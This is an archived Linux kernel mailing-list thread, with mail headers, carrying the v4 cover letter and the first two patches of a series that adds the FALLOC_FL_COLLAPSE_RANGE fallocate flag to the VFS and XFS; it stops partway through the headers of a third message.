[PATCH v4 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-Id: <1386511505-3640-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pb0-f43.google.com[209.85.160.43] X-Barracuda-Start-Time: 1386511539 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142934 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon This patch series is in response of the following post: http://lwn.net/Articles/556136/ "ext4: introduce two new ioctls" Dave chinner suggested that truncate_block_range (which was one of the ioctls name) should be an fallocate operation and not any fs specific ioctl, hence we add this functionality to fallocate. This patch series introduces new flag FALLOC_FL_COLLAPSE_RANGE for fallocate and implements it for XFS and Ext4. The semantics of this flag are following: 1) It collapses the range lying between offset and length by removing any data blocks which are present in this range and than updates all the logical offsets of extents beyond "offset + len" to nullify the hole created by removing blocks. In short, it does not leave a hole. 2) It should be used exclusively. No other fallocate flag in combination. 3) Offset and length supplied to fallocate should be fs block size aligned in case of xfs and ext4. 4) Collaspe range does not work beyond i_size. This new functionality of collapsing range could be used by media editing tools which does non linear editing to quickly purge and edit parts of a media file. This will immensely improve the performance of these operations. The limitation of fs block size aligned offsets can be easily handled by media codecs which are encapsulated in a conatiner as they have to just change the offset to next keyframe value to match the proper alignment. Change log v4: - vfs: Move block size aligned check from VFS layer to FS specific layer. - vfs: update comments for FALLOC_FL_COLLAPSE_RANGE in user visible header file. - xfs: update comments for xfs_bmap_shift_extents and change variable name to more reasonable name. - xfs: add ASSERTs for pointers in XFS patch. - xfs: drop all the xfs_bmbt_get*() wrappers. - xfs and ext4: change return errno from EFSCORRUPTED to EINVAL when hole is not large enough to shift. - xfs: remove extents from on-disk btree also in case of merge. - xfstest: separate shared/316 test to shared/001 ~ 004 in xfstest. - xfstest: update multi collapse test shared/005 for block size less than page size case. - manpage: update description. v3: Fix checkpatch.pl errors v2: Fix review points from Dave Chinner. Namjae Jeon (10): fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate xfs: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate xfsprog: xfsio: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate xfstest: shared/001: Standard collapse range tests xfstest: shared/002: Delayed allocation collapse range xfstest: shared/003: Multi collapse range tests xfstest: shared/004: Delayed allocation multi collapse xfstest: shared/005: Test multiple fallocate collapse manpage: update FALLOC_FL_COLLAPSE_RANGE flag in fallocate -- 1.7.9.5 From linkinjeon@gmail.com Sun Dec 8 08:05:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 485E47FD3 for ; Sun, 8 Dec 2013 08:05:54 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 29D90304043 for ; Sun, 8 Dec 2013 06:05:54 -0800 (PST) X-ASG-Debug-ID: 1386511552-04cbb041676024b0001-NocioJ Received: from mail-pb0-f51.google.com (mail-pb0-f51.google.com [209.85.160.51]) by cuda.sgi.com with ESMTP id Lhv0HtjyD6VF2DLd (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 08 Dec 2013 06:05:53 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.51 Received: by mail-pb0-f51.google.com with SMTP id up15so3816171pbc.10 for ; Sun, 08 Dec 2013 06:05:52 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=0ytFP5BqLl9cItOBNE3kWDILCwGZaGzbI+dEx3r4Wm8=; b=Ly2+6G6YBVhYED7mEviJL3uPgEl4YuGJgP4DVOefsHl3xfjULMFnfeI1sBOfa9NLrC ZtG4zMSCkW8UcajXI9yazDM7jG/CJGU6OIe9mY7stYpXY1tPoi+tM43PuD17T3IwlG8X QZnSbWMyteAkDZAcK4K/N0b9VjeVTgQamH6xV6sx+kreezf8cbc5KkUEMB/5owpG+xH5 IJKNmT4Ym/wHDbs6ZfhJsrlPbWDWgdGbsGEW96G/3UrkM51peQBf5uof/Ng4R5AlQ+Bm 1vr1H3svTxbXQccNAvpRlrn3drOZaMkiGe1cvrJZaAQOmo6UK+9VSe1C3BHqEq3aFvkQ gAYQ== X-Barracuda-BBL-IP: nil X-Received: by 10.66.4.130 with SMTP id k2mr15455653pak.95.1386511552751; Sun, 08 Dec 2013 06:05:52 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.87]) by mx.google.com with ESMTPSA id om6sm11157887pbc.43.2013.12.08.06.05.50 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 08 Dec 2013 06:05:52 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.87 To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH v4 1/10] fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Date: Sun, 8 Dec 2013 23:05:44 +0900 X-ASG-Orig-Subj: [PATCH v4 1/10] fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-Id: <1386511544-3676-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pb0-f51.google.com[209.85.160.51] X-Barracuda-Start-Time: 1386511553 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142934 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate. updated detailed semantics in comments. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- fs/open.c | 24 +++++++++++++++++++++--- include/uapi/linux/falloc.h | 21 +++++++++++++++++++++ 2 files changed, 42 insertions(+), 3 deletions(-) diff --git a/fs/open.c b/fs/open.c index 4b3e1ed..4a923a5 100644 --- a/fs/open.c +++ b/fs/open.c @@ -231,7 +231,8 @@ int do_fallocate(struct file *file, int mode, loff_t offset, loff_t len) return -EINVAL; /* Return error if mode is not supported */ - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_COLLAPSE_RANGE)) return -EOPNOTSUPP; /* Punch hole must have keep size set */ @@ -239,11 +240,20 @@ int do_fallocate(struct file *file, int mode, loff_t offset, loff_t len) !(mode & FALLOC_FL_KEEP_SIZE)) return -EOPNOTSUPP; + /* Collapse range should only be used exclusively. */ + if ((mode & FALLOC_FL_COLLAPSE_RANGE) && + (mode & ~FALLOC_FL_COLLAPSE_RANGE)) + return -EINVAL; + if (!(file->f_mode & FMODE_WRITE)) return -EBADF; - /* It's not possible punch hole on append only file */ - if (mode & FALLOC_FL_PUNCH_HOLE && IS_APPEND(inode)) + /* + * It's not possible to punch hole or perform collapse range + * on append only file + */ + if (mode & (FALLOC_FL_PUNCH_HOLE | FALLOC_FL_COLLAPSE_RANGE) + && IS_APPEND(inode)) return -EPERM; if (IS_IMMUTABLE(inode)) @@ -271,6 +281,14 @@ int do_fallocate(struct file *file, int mode, loff_t offset, loff_t len) if (((offset + len) > inode->i_sb->s_maxbytes) || ((offset + len) < 0)) return -EFBIG; + /* + * There is no need to overlap collapse range with EOF, in which case + * it is effectively a truncate operation + */ + if ((mode & FALLOC_FL_COLLAPSE_RANGE) && + (offset + len >= i_size_read(inode))) + return -EINVAL; + if (!file->f_op->fallocate) return -EOPNOTSUPP; diff --git a/include/uapi/linux/falloc.h b/include/uapi/linux/falloc.h index 990c4cc..5b214cc 100644 --- a/include/uapi/linux/falloc.h +++ b/include/uapi/linux/falloc.h @@ -5,5 +5,26 @@ #define FALLOC_FL_PUNCH_HOLE 0x02 /* de-allocates range */ #define FALLOC_FL_NO_HIDE_STALE 0x04 /* reserved codepoint */ +/* + * FALLOC_FL_COLLAPSE_RANGE is used to remove a range of a file + * without leaving a hole in the file. The contents of the file beyond + * the range being removed is appended to the start offset of the range + * being removed (i.e. the hole that was punched is "collapsed"), + * resulting in a file layout that looks like the range that was + * removed never existed. As such collapsing a range of a file changes + * the size of the file, reducing it by the same length of the range + * that has been removed by the operation. + * + * Different filesystems may implement different limitations on the + * granularity of the operation. Most will limit operations to + * filesystem block size boundaries, but this boundary may be larger or + * smaller depending on the filesystem and/or the configuration of the + * filesystem or file. + * + * Attempting to collapse a range that crosses the end of the file is + * considered an illegal operation - just use ftruncate(2) if you need + * to collapse a range that crosses EOF. + */ +#define FALLOC_FL_COLLAPSE_RANGE 0x08 #endif /* _UAPI_FALLOC_H_ */ -- 1.7.9.5 From linkinjeon@gmail.com Sun Dec 8 08:06:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E06E97FD8 for ; Sun, 8 Dec 2013 08:06:14 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id A642C8F8050 for ; Sun, 8 Dec 2013 06:06:14 -0800 (PST) X-ASG-Debug-ID: 1386511569-04bdf01323101f20001-NocioJ Received: from mail-pb0-f49.google.com (mail-pb0-f49.google.com [209.85.160.49]) by cuda.sgi.com with ESMTP id ArLTFAsmHwA8obl0 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 08 Dec 2013 06:06:10 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.49 Received: by mail-pb0-f49.google.com with SMTP id jt11so3768080pbb.22 for ; Sun, 08 Dec 2013 06:06:09 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=foX+JX9OBb4phAodbuJyFbQPgLc4jaLJLWwF0jpQCcg=; b=cbk0bC4F045FAlehlLCBafeRvDD5XT+AFM8b/rZzyi5qMbjdm496SKJMr2ba9y4wNA J1mkn8k6yxVJSvFXeUL/edwvd/cvAeeAUad4lg2bhEy8pR3W6RQxz0pnqwfv6JWhP01d Xus9ry7ZB0LffotY6gnGCG1meqD71zz3FGpqfWqaPn6n9a04iQ85MEASk92CY4/lgODq 67txNn6rcAK86lM8UUwoam3L7o4Va0JGQpuMWUWVVK6ApTZOsZier5tJE++pC3RyoeeH Lgu0fUM/LUbKFYv2Ox58GlQFpMHinM+Se8RYpln1fowleKMmdoPrJKyF/nBc2BzzxT0+ /m/Q== X-Barracuda-BBL-IP: nil X-Received: by 10.68.254.164 with SMTP id aj4mr2637319pbd.161.1386511569834; Sun, 08 Dec 2013 06:06:09 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.87]) by mx.google.com with ESMTPSA id p1sm11188925pbo.12.2013.12.08.06.06.05 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 08 Dec 2013 06:06:09 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.87 To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH v4 2/10] xfs: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Date: Sun, 8 Dec 2013 23:05:58 +0900 X-ASG-Orig-Subj: [PATCH v4 2/10] xfs: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-Id: <1386511558-3710-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pb0-f49.google.com[209.85.160.49] X-Barracuda-Start-Time: 1386511570 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142934 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon Add support FALLOC_FL_COLLAPSE_RANGE for fallocate. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- fs/xfs/xfs_bmap.c | 195 ++++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_bmap.h | 5 ++ fs/xfs/xfs_bmap_util.c | 99 ++++++++++++++++++++++++ fs/xfs/xfs_bmap_util.h | 2 + fs/xfs/xfs_file.c | 19 ++++- fs/xfs/xfs_trace.h | 1 + 6 files changed, 319 insertions(+), 2 deletions(-) diff --git a/fs/xfs/xfs_bmap.c b/fs/xfs/xfs_bmap.c index 3ef11b2..aba3fc9 100644 --- a/fs/xfs/xfs_bmap.c +++ b/fs/xfs/xfs_bmap.c @@ -5358,3 +5358,198 @@ error0: } return error; } + +/* + * Shift extent records to the left to cover a hole. + * + * The maximum number of extents to be shifted in a single operation + * is @num_exts, and @current_ext keeps track of the current extent + * index we have shifted. @offset_shift_fsb is the length by which each + * extent is shifted. If there is no hole to shift the extents + * into, this will be considered invalid operation and we abort immediately. + */ +int +xfs_bmap_shift_extents( + struct xfs_trans *tp, + struct xfs_inode *ip, + int *done, + xfs_fileoff_t start_fsb, + xfs_fileoff_t offset_shift_fsb, + xfs_extnum_t *current_ext, + xfs_fsblock_t *firstblock, + struct xfs_bmap_free *flist, + int num_exts) +{ + struct xfs_btree_cur *cur; + struct xfs_bmbt_rec_host *gotp; + struct xfs_bmbt_irec got; + struct xfs_bmbt_irec left; + struct xfs_mount *mp = ip->i_mount; + struct xfs_ifork *ifp; + xfs_extnum_t nexts = 0; + xfs_fileoff_t startoff; + int error = 0; + int i; + int whichfork = XFS_DATA_FORK; + int logflags; + xfs_filblks_t blockcount = 0; + + if (unlikely(XFS_TEST_ERROR( + (XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_EXTENTS && + XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_BTREE), + mp, XFS_ERRTAG_BMAPIFORMAT, XFS_RANDOM_BMAPIFORMAT))) { + XFS_ERROR_REPORT("xfs_bmap_shift_extents", + XFS_ERRLEVEL_LOW, mp); + return XFS_ERROR(EFSCORRUPTED); + } + + if (XFS_FORCED_SHUTDOWN(mp)) + return XFS_ERROR(EIO); + + ASSERT(current_ext != NULL); + + ifp = XFS_IFORK_PTR(ip, whichfork); + + if (!(ifp->if_flags & XFS_IFEXTENTS)) { + /* Read in all the extents */ + error = xfs_iread_extents(tp, ip, whichfork); + if (error) + return error; + } + + /* + * If *current_ext is 0, we would need to lookup the extent + * from where we would start shifting and store it in gotp. + */ + if (!*current_ext) { + gotp = xfs_iext_bno_to_ext(ifp, start_fsb, current_ext); + /* + * gotp can be null in 2 cases: 1) if there are no extents + * or 2) start_fsb lies in a hole beyond which there are + * no extents. Either way, we are done. + */ + if (!gotp) { + *done = 1; + return 0; + } + } + + /* We are going to change core inode */ + logflags = XFS_ILOG_CORE; + + if (ifp->if_flags & XFS_IFBROOT) { + cur = xfs_bmbt_init_cursor(mp, tp, ip, whichfork); + cur->bc_private.b.firstblock = *firstblock; + cur->bc_private.b.flist = flist; + cur->bc_private.b.flags = 0; + } else { + cur = NULL; + logflags |= XFS_ILOG_DEXT; + } + + while (nexts++ < num_exts && + *current_ext < XFS_IFORK_NEXTENTS(ip, whichfork)) { + + gotp = xfs_iext_get_ext(ifp, *current_ext); + xfs_bmbt_get_all(gotp, &got); + startoff = got.br_startoff - offset_shift_fsb; + + /* + * Before shifting extent into hole, make sure that the hole + * is large enough to accomodate the shift. + */ + if (*current_ext) { + xfs_bmbt_get_all(xfs_iext_get_ext(ifp, + *current_ext - 1), &left); + + if (startoff < left.br_startoff + left.br_blockcount) + error = XFS_ERROR(EINVAL); + + } else if (startoff > xfs_bmbt_get_startoff(gotp)) { + /* Hole is at the start but not large enough */ + error = XFS_ERROR(EINVAL); + } + + if (error) + goto del_cursor; + + if (cur) { + error = xfs_bmbt_lookup_eq(cur, + got.br_startoff, + got.br_startblock, + got.br_blockcount, + &i); + if (error) + goto del_cursor; + XFS_WANT_CORRUPTED_GOTO(i == 1, del_cursor); + } + + /* Check if we can merge 2 adjacent extents */ + if (*current_ext && + left.br_startoff + left.br_blockcount == startoff && + left.br_startblock + left.br_blockcount == + got.br_startblock && + left.br_state == got.br_state && + left.br_blockcount + got.br_blockcount <= MAXEXTLEN) { + blockcount = left.br_blockcount + + xfs_bmbt_get_blockcount(gotp); + xfs_iext_remove(ip, *current_ext, 1, 0); + if (cur) { + error = xfs_btree_delete(cur, &i); + if (error) + goto del_cursor; + XFS_WANT_CORRUPTED_GOTO(i == 1, del_cursor); + } + XFS_IFORK_NEXT_SET(ip, whichfork, + XFS_IFORK_NEXTENTS(ip, whichfork) - 1); + gotp = xfs_iext_get_ext(ifp, --*current_ext); + xfs_bmbt_get_all(gotp, &got); + + /* Make cursor point to the extent we will update */ + if (cur) { + error = xfs_bmbt_lookup_eq(cur, + got.br_startoff, + got.br_startblock, + got.br_blockcount, + &i); + if (error) + goto del_cursor; + XFS_WANT_CORRUPTED_GOTO(i == 1, del_cursor); + } + + xfs_bmbt_set_blockcount(gotp, blockcount); + got.br_blockcount = blockcount; + goto bmbt_update; + } + + /* We have to update the startoff */ + xfs_bmbt_set_startoff(gotp, startoff); + got.br_startoff = startoff; + +bmbt_update: + if (cur) { + error = xfs_bmbt_update(cur, + got.br_startoff, + got.br_startblock, + got.br_blockcount, + got.br_state); + if (error) + goto del_cursor; + } + + (*current_ext)++; + } + + /* Check if we are done */ + if (*current_ext == XFS_IFORK_NEXTENTS(ip, whichfork)) + *done = 1; + +del_cursor: + if (cur) + xfs_btree_del_cursor(cur, + error ? XFS_BTREE_ERROR : XFS_BTREE_NOERROR); + + xfs_trans_log_inode(tp, ip, logflags); + + return error; +} diff --git a/fs/xfs/xfs_bmap.h b/fs/xfs/xfs_bmap.h index 33b41f3..7bfe67c 100644 --- a/fs/xfs/xfs_bmap.h +++ b/fs/xfs/xfs_bmap.h @@ -169,5 +169,10 @@ int xfs_bunmapi(struct xfs_trans *tp, struct xfs_inode *ip, int xfs_check_nostate_extents(struct xfs_ifork *ifp, xfs_extnum_t idx, xfs_extnum_t num); uint xfs_default_attroffset(struct xfs_inode *ip); +int xfs_bmap_shift_extents(struct xfs_trans *tp, struct xfs_inode *ip, + int *done, xfs_fileoff_t start_fsb, + xfs_fileoff_t offset_shift_fsb, xfs_extnum_t *current_ext, + xfs_fsblock_t *firstblock, struct xfs_bmap_free *flist, + int num_exts); #endif /* __XFS_BMAP_H__ */ diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c index 5887e41..7b62f5d 100644 --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -1446,6 +1446,105 @@ out: } /* + * xfs_collapse_file_space() + * This routine frees disk space and shift extent for the given file. + * + * RETURNS: + * 0 on success + * errno on error + * + */ +int +xfs_collapse_file_space( + struct xfs_inode *ip, + xfs_off_t offset, + xfs_off_t len) +{ + int done = 0; + struct xfs_mount *mp = ip->i_mount; + struct xfs_trans *tp; + int error; + xfs_extnum_t current_ext = 0; + struct xfs_bmap_free free_list; + xfs_fsblock_t first_block; + int committed; + xfs_fileoff_t start_fsb; + xfs_fileoff_t shift_fsb; + + ASSERT(xfs_isilocked(ip, XFS_IOLOCK_EXCL)); + + trace_xfs_collapse_file_space(ip); + + start_fsb = XFS_B_TO_FSB(mp, offset + len); + shift_fsb = XFS_B_TO_FSB(mp, len); + + /* + * The first thing we do is to free data blocks in the specified range + * by calling xfs_free_file_space(). It would also sync dirty data + * and invalidate page cache over the region on which collapse range + * is working. + */ + + error = xfs_free_file_space(ip, offset, len); + if (error) + return error; + + while (!error && !done) { + tp = xfs_trans_alloc(mp, XFS_TRANS_DIOSTRAT); + tp->t_flags |= XFS_TRANS_RESERVE; + /* + * We would need to reserve permanent block for transaction. + * This will come into picture when after shifting extent into + * hole we found that adjacent extents can be merged which + * may lead to freeing of a block during record update. + */ + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_write, + XFS_DIOSTRAT_SPACE_RES(mp, 0), 0); + if (error) { + ASSERT(error == ENOSPC || XFS_FORCED_SHUTDOWN(mp)); + xfs_trans_cancel(tp, 0); + break; + } + + xfs_ilock(ip, XFS_ILOCK_EXCL); + error = xfs_trans_reserve_quota(tp, mp, ip->i_udquot, + ip->i_gdquot, ip->i_pdquot, + XFS_DIOSTRAT_SPACE_RES(mp, 0), 0, + XFS_QMOPT_RES_REGBLKS); + if (error) + goto out; + + xfs_trans_ijoin(tp, ip, 0); + + xfs_bmap_init(&free_list, &first_block); + + /* + * We are using the write transaction in which max 2 bmbt + * updates are allowed + */ + error = xfs_bmap_shift_extents(tp, ip, &done, start_fsb, + shift_fsb, ¤t_ext, + &first_block, &free_list, 2); + if (error) + goto out; + + error = xfs_bmap_finish(&tp, &free_list, &committed); + if (error) + goto out; + + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); + xfs_iunlock(ip, XFS_ILOCK_EXCL); + } + + return error; + +out: + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | XFS_TRANS_ABORT); + xfs_iunlock(ip, XFS_ILOCK_EXCL); + return error; +} + +/* * We need to check that the format of the data fork in the temporary inode is * valid for the target inode before doing the swap. This is not a problem with * attr1 because of the fixed fork offset, but attr2 has a dynamically sized diff --git a/fs/xfs/xfs_bmap_util.h b/fs/xfs/xfs_bmap_util.h index 900747b..935ed2b 100644 --- a/fs/xfs/xfs_bmap_util.h +++ b/fs/xfs/xfs_bmap_util.h @@ -99,6 +99,8 @@ int xfs_free_file_space(struct xfs_inode *ip, xfs_off_t offset, xfs_off_t len); int xfs_zero_file_space(struct xfs_inode *ip, xfs_off_t offset, xfs_off_t len); +int xfs_collapse_file_space(struct xfs_inode *, xfs_off_t offset, + xfs_off_t len); /* EOF block manipulation functions */ bool xfs_can_free_eofblocks(struct xfs_inode *ip, bool force); diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index 52c91e1..accb25b 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -820,7 +820,8 @@ xfs_file_fallocate( if (!S_ISREG(inode->i_mode)) return -EINVAL; - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_COLLAPSE_RANGE)) return -EOPNOTSUPP; xfs_ilock(ip, XFS_IOLOCK_EXCL); @@ -828,6 +829,20 @@ xfs_file_fallocate( error = xfs_free_file_space(ip, offset, len); if (error) goto out_unlock; + } else if (mode & FALLOC_FL_COLLAPSE_RANGE) { + unsigned blksize_mask = (1 << inode->i_blkbits) - 1; + + if (offset & blksize_mask || len & blksize_mask) { + error = -EINVAL; + goto out_unlock; + } + + ASSERT(offset + len < i_size_read(inode)); + new_size = i_size_read(inode) - len; + + error = xfs_collapse_file_space(ip, offset, len); + if (error) + goto out_unlock; } else { if (!(mode & FALLOC_FL_KEEP_SIZE) && offset + len > i_size_read(inode)) { @@ -856,7 +871,7 @@ xfs_file_fallocate( if (ip->i_d.di_mode & S_IXGRP) ip->i_d.di_mode &= ~S_ISGID; - if (!(mode & FALLOC_FL_PUNCH_HOLE)) + if (!(mode & (FALLOC_FL_PUNCH_HOLE | FALLOC_FL_COLLAPSE_RANGE))) ip->i_d.di_flags |= XFS_DIFLAG_PREALLOC; xfs_trans_ichgtime(tp, ip, XFS_ICHGTIME_MOD | XFS_ICHGTIME_CHG); diff --git a/fs/xfs/xfs_trace.h b/fs/xfs/xfs_trace.h index 425dfa4..a4ae41c 100644 --- a/fs/xfs/xfs_trace.h +++ b/fs/xfs/xfs_trace.h @@ -603,6 +603,7 @@ DEFINE_INODE_EVENT(xfs_readlink); DEFINE_INODE_EVENT(xfs_inactive_symlink); DEFINE_INODE_EVENT(xfs_alloc_file_space); DEFINE_INODE_EVENT(xfs_free_file_space); +DEFINE_INODE_EVENT(xfs_collapse_file_space); DEFINE_INODE_EVENT(xfs_readdir); #ifdef CONFIG_XFS_POSIX_ACL DEFINE_INODE_EVENT(xfs_get_acl); -- 1.7.9.5 From linkinjeon@gmail.com Sun Dec 8 08:11:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 662587FAC for ; Sun, 8 Dec 2013 08:11:32 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 54848304032 for ; Sun, 8 Dec 2013 06:11:32 -0800 (PST) X-ASG-Debug-ID: 1386511884-04cb6c537b5f91b0001-NocioJ Received: from mail-pb0-f43.google.com (mail-pb0-f43.google.com [209.85.160.43]) by cuda.sgi.com with ESMTP id In6dRy1e4kVThwZs (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 08 Dec 2013 06:11:24 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.43 Received: by mail-pb0-f43.google.com with SMTP id rq2so3791791pbb.30 for ; Sun, 08 Dec 2013 06:11:24 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=I/yiaFDt0/NzjlAtE/uLTnNeRsAyqJ8OLvYhbksMLcQ=; b=UIhcJ7xFM7dTjs4ptAyKu++igvWjzsmg72OfNJz1yNNaHANWWoElbt0z+32kYyDaIs rZjqKbc+1LvDzHxH6OybELnNPFeWTtZdK1yTZmhNeSdq1LeRY5ceCoyRHnTYMpZ5iSOH bq+nzeYVdQOiKpOFE+l9Or+9CvDEuNJv/RoD9G7MOKVlTPYxKA/o4cxtfdYpSH1ECLld zq2tUV7gUIktp8IaDwMosD2TNH+I4wnoSzaTGOzJfU2AHAJhrXpV40urHK3+qWqVTnxH 2OS4mwIuyFLT5VzdTIlUNX856DrMAjLDkBnvsPFNs62o8P9xE4zx/0U93axUYMdqt+6/ T84Q== X-Barracuda-BBL-IP: nil X-Received: by 10.68.242.4 with SMTP id wm4mr15516156pbc.77.1386511884365; Sun, 08 Dec 2013 06:11:24 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet 